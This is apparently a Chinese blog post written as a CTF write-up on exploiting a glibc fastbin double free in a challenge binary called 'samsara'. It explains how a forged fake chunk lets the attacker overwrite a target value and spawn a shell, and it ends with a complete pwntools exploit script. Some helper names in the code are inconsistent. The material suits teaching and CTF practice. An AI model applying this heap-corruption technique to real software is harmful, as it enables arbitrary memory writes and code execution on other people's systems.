Glibc堆利用-Double Free

2 篇文章 0 订阅

Glibc堆利用-Double Free
漏洞成因:使用完一个chunk之后,只是free掉了指针,没有将内容置null
漏洞结果:free一个chunk之后,再次free,其实该chunk还在free list 里面,可以修改某一个在free list里面的chunk,可以修改该chunk的fd和bk指针,欺骗malloc返回一个任意地址的chunk,可以实现任意地址的写功能。

0x01
这里我们采用了师傅的样例程序,先检查该程序:
在这里插入图片描述
看到:保护全开,使用ida进行反编译分析:
发现经典菜单栏:并且实现了以下功能:

  while ( 2 )
  {
    v10 = 0LL;
    menu();
    scan("%d", &v4);
    switch ( (unsigned int)off_F70 )
    {
      case 1u:
        if ( cnt >= 7 )
        {
          puts("You can't capture more people.");
        }
        else
        {
          v3 = cnt;
          ptr[v3] = malloc(8uLL);
          ++cnt;
          puts("Captured.");
        }
        continue;
      case 2u:
        puts("Index:");
        scan("%d", &v5);
        free(ptr[v5]);
        puts("Eaten.");
        continue;
      case 3u:
        puts("Index:");
        scan("%d", &v5);
        puts("Ingredient:");
        scan("%llu", &v10);
        *(_QWORD *)ptr[v5] = v10;
        puts("Cooked.");
        continue;
      case 4u:
        printf("Your lair is at: %p\n", &lair);
        continue;
      case 5u:                                  // 给target赋值
        puts("Which kingdom?");
        scan("%llu", &v9);
        lair = v9;
        puts("Moved.");
        continue;
      case 6u:
        if ( target == 0xDEADBEEFLL )
          system("/bin/sh");                    // 执行system函数
        puts("Now, there's no Demon Dragon anymore...");
        break;
      default:
        goto LABEL_13;
    }
    break;
  }

可以发现:只要将target赋值为指定数值,即可执行system(’/bin/sh’):
在这里插入图片描述

但是v8初始化为0,且无对v8进行操作的函数。

存在漏洞:double free:
在这里插入图片描述
这里仅仅free掉了该指针,但是并没有将该指针置null,存在double free漏洞。
首先,写好判断条件函数,并加亿点点细节:

from pwn import *
from sys import argv
binary = './samsara'
context.binary = binary
elf = ELF(binary)
p=process('./samsara')

def ret2libc(leak, func, path=''):
	# if path == '':
	# 	libc = LibcSearcher(func, leak)
	# 	base = leak - libc.dump(func)
	# 	system = base + libc.dump('system')
	# 	binsh = base + libc.dump('str_bin_sh')
	# else:
    libc = ELF(path)
    base = leak - libc.sym[func]
    system = base + libc.sym['system']
    binsh = base + libc.search('/bin/sh').next()
    return (system, binsh)

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,'\0'))
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

def dbg():
	gdb.attach(p)
	pause()

def add(size):
    sla('> ','1')

def free(idx):
    ru('choice > ')
    sl('2')
    sl(str(idx))

def edit(index,content):
	sla('> ','3')
	sla(':\n',str(index))
	sla(':\n',content)

def print_target():
    sla('> ', '4')
    ru('0x')
    return int(ru('\n'), 16)

def edit_target(target):
    sla('> ','5')
    sla('Which kingdom?',str(target))

def get_shell():
    sla('> ','6')

首先,我们申请三个chunk,并产生double free条件:

add() # 0
add() # 1
add() # 2
delete(0)
delete(1)
delete(0)
dbg()

调试结果:
在这里插入图片描述
可以发现在fastbin中,存在double free漏洞,即两个chunk同时指向了同一个chunk:

0x20: 0x56065b19e010 —▸ 0x56065b19e030 ◂— 0x56065b19e010

这里,我们继续add两个chunk,使得:
第一个为原来的1号chunk
第二个为原来的0号chunk:
这样,原来的chunk区域就变成了:
在这里插入图片描述
是因为:
free0号chunk,free1号chunk,再次free0号chunk,但是再次申请的时候,按照计算机的顺序是无视了第二次被free的0号chunk,先取1号chunk,再取第一次被free的0号chunk。
这样,我们就可以构造一个fake_chunk:

edit_target(0x20)
fake = print_target()-8

其中,edit_target表示
在这里插入图片描述
在这里插入图片描述

而lair变量的值就处于target变量上方8个字节,在liar这个地方伪造一个chunk,写作0x20,伪造chunk的chunk指针在lair地址-8的地方,也就是target地址减去0x10的地方,使得target处于mem指针这个地方。
然后:

edit(3,fake)

表示更改0号chunk,fd指针为我们构造好的地址:

在这里插入图片描述

之后,再次add两个chunk,然后更改fake chunk里面的内容:

add() # 5
add() # 6
edit(6,0xdeadbeef)

这里,第一个add表示add第一个chunk,第二个add表示自己构造的fake_chunk。然后edit构造的fake_chunk为0xDEADBEEF:
在这里插入图片描述
成功的将oxDEADBEEF写入了我们构造的fake_chunk当中,并且使得chunk0的fd指针指向了fake_chunk,接下来直接执行后门函数就可以getshell:

sla('> ','6')
itr()

在这里插入图片描述
完整exp:

from pwn import *
from sys import argv
binary = './samsara'
context.binary = binary
elf = ELF(binary)
p=process('./samsara')

def ret2libc(leak, func, path=''):
	# if path == '':
	# 	libc = LibcSearcher(func, leak)
	# 	base = leak - libc.dump(func)
	# 	system = base + libc.dump('system')
	# 	binsh = base + libc.dump('str_bin_sh')
	# else:
    libc = ELF(path)
    base = leak - libc.sym[func]
    system = base + libc.sym['system']
    binsh = base + libc.search('/bin/sh').next()
    return (system, binsh)

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,'\0'))
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

def dbg():
	gdb.attach(p)
	pause()

def add():
    sla('> ','1')

def free(idx):
    ru('choice > ')
    sl('2')
    sl(str(idx))

def edit(index,content):
	sla('> ','3')
	sla(':\n',str(index))
	sla(':\n',content)

def print_target():
    sla('> ', '4')
    ru('0x')
    return int(ru('\n'), 16)

def edit_target(target):
    sla('> ','5')
    sla('Which kingdom?',str(target))

def get_shell():
    sla('> ','6')


add()   #0
add()   #1
add()   #2
free(0)  #0-free 1-use 2-use

free(1)  #0-free 1-free 2-use

free(0)  #0-double free 1-free 2-use

add()

add()
edit_target(0x20)
fake = print_target()-8
print(hex(fake))
edit(3,fake)


add() # 5

add() # 6
edit(6,0xdeadbeef)
sla('> ','6')
itr()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值